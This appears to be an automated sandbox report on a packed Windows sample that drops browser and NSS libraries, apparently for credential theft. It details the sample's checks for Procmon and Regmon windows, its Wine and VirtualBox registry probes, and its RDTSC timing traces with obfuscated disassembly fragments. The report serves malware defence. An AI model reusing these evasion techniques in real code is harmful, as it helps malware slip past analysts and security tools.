Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2664657293.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2116035375.0000000004C6B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2664657293.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2116035375.0000000004C6B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2664354776.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.3d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oguwjjrw:EW;ecmtdmxj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oguwjjrw:EW;ecmtdmxj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x20936d should be: 0x20a693

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oguwjjrw
Source: file.exe	Static PE information: section name: ecmtdmxj
Source: file.exe	Static PE information: section name: .taggant
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB536 push ecx; ret

0_2_6C5DB549

Source: file.exe

Static PE information: section name: oguwjjrw entropy: 7.954844816615369

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6055F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C6055F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE53 second address: 6BDE57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A14F second address: 83A153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A153 second address: 83A168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC82927EE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A168 second address: 83A16D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A16D second address: 83A181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edx 0x0000000c jo 00007FC82927EE7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A181 second address: 83A1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jbe 00007FC8292819E2h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push edi 0x00000012 pushad 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A1A4 second address: 83A1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pop eax 0x00000007 mov dh, ADh 0x00000009 lea ebx, dword ptr [ebp+1244FF99h] 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FC82927EE78h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 sub esi, dword ptr [ebp+122D33CAh] 0x0000002f xchg eax, ebx 0x00000030 jnl 00007FC82927EE89h 0x00000036 pushad 0x00000037 jmp 00007FC82927EE7Fh 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e popad 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push ebx 0x00000043 push eax 0x00000044 pop eax 0x00000045 pop ebx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A278 second address: 83A2CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC8292819DEh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007FC8292819EAh 0x00000012 pushad 0x00000013 jmp 00007FC8292819DCh 0x00000018 jl 00007FC8292819D6h 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 pushad 0x00000024 pushad 0x00000025 push edx 0x00000026 pop edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 popad 0x0000002a push edx 0x0000002b jmp 00007FC8292819DCh 0x00000030 pop edx 0x00000031 popad 0x00000032 mov eax, dword ptr [eax] 0x00000034 push ebx 0x00000035 je 00007FC8292819DCh 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A3F3 second address: 83A3FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FC82927EE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A3FD second address: 83A401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83A4A9 second address: 83A4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858CD5 second address: 858D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007FC8292819D8h 0x0000000b pop edi 0x0000000c push ecx 0x0000000d pushad 0x0000000e jmp 00007FC8292819E0h 0x00000013 jns 00007FC8292819D6h 0x00000019 jc 00007FC8292819D6h 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007FC8292819D6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8592C8 second address: 8592E8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC82927EE76h 0x00000008 jc 00007FC82927EE76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC82927EE7Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8596BB second address: 8596DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8292819DEh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jp 00007FC8292819D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859810 second address: 85981D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85998F second address: 8599DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC8292819DEh 0x00000008 jmp 00007FC8292819E2h 0x0000000d jmp 00007FC8292819E4h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC8292819DDh 0x0000001a je 00007FC8292819D6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859AFE second address: 859B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC82927EE7Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859B0C second address: 859B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FC8292819D6h 0x00000009 jg 00007FC8292819D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859C73 second address: 859C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859C79 second address: 859C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859C7D second address: 859CC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE7Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jbe 00007FC82927EE92h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jng 00007FC82927EE76h 0x0000001c pop eax 0x0000001d jo 00007FC82927EE82h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859CC7 second address: 859CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859FA8 second address: 859FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE82h 0x00000009 jmp 00007FC82927EE7Fh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859FD1 second address: 859FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859FD8 second address: 859FF0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC82927EE7Eh 0x00000008 jng 00007FC82927EE76h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FC82927EE76h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859FF0 second address: 859FF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ACAC second address: 85ACDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE7Fh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FC82927EE7Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ACDE second address: 85ACE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ACE2 second address: 85ACE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85ACE6 second address: 85ACEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865C48 second address: 865C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865C4C second address: 865C94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819E6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FC8292819FCh 0x00000011 jmp 00007FC8292819DEh 0x00000016 jmp 00007FC8292819E8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865C94 second address: 865C9B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8661FA second address: 866202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866354 second address: 86635C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869FFD second address: 86A003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A003 second address: 86A009 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA35 second address: 86AA3F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC8292819D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86AA3F second address: 86AA44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B29F second address: 86B2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CE56 second address: 86CE80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007FC82927EE86h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CE80 second address: 86CEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FC8292819E8h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov dword ptr [ebp+122D3149h], edx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007FC8292819D8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007FC8292819D8h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov di, dx 0x0000004d mov edi, dword ptr [ebp+122D3B5Eh] 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push ecx 0x00000057 push edx 0x00000058 pop edx 0x00000059 pop ecx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CC83 second address: 86CC87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CC87 second address: 86CC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D768 second address: 86D77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC82927EE82h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D77F second address: 86D799 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8292819DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FC8292819D8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E3D2 second address: 86E42E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC82927EE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d add di, 932Bh 0x00000012 sub di, 8D69h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FC82927EE78h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007FC82927EE78h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f push eax 0x00000050 push esi 0x00000051 push esi 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D799 second address: 86D79F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8725EE second address: 8725F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8725F2 second address: 872615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jl 00007FC8292819D6h 0x00000011 jmp 00007FC8292819E1h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875436 second address: 87543C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87543C second address: 875492 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FC8292819D8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 movzx ebx, cx 0x00000026 jl 00007FC8292819DBh 0x0000002c adc di, 43DDh 0x00000031 mov dword ptr [ebp+122D394Bh], esi 0x00000037 push 00000000h 0x00000039 add edi, dword ptr [ebp+1244D78Dh] 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 mov di, ax 0x00000045 pop edi 0x00000046 push eax 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87279E second address: 8727C5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC82927EE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FC82927EE89h 0x00000014 jmp 00007FC82927EE83h 0x00000019 rdtsc
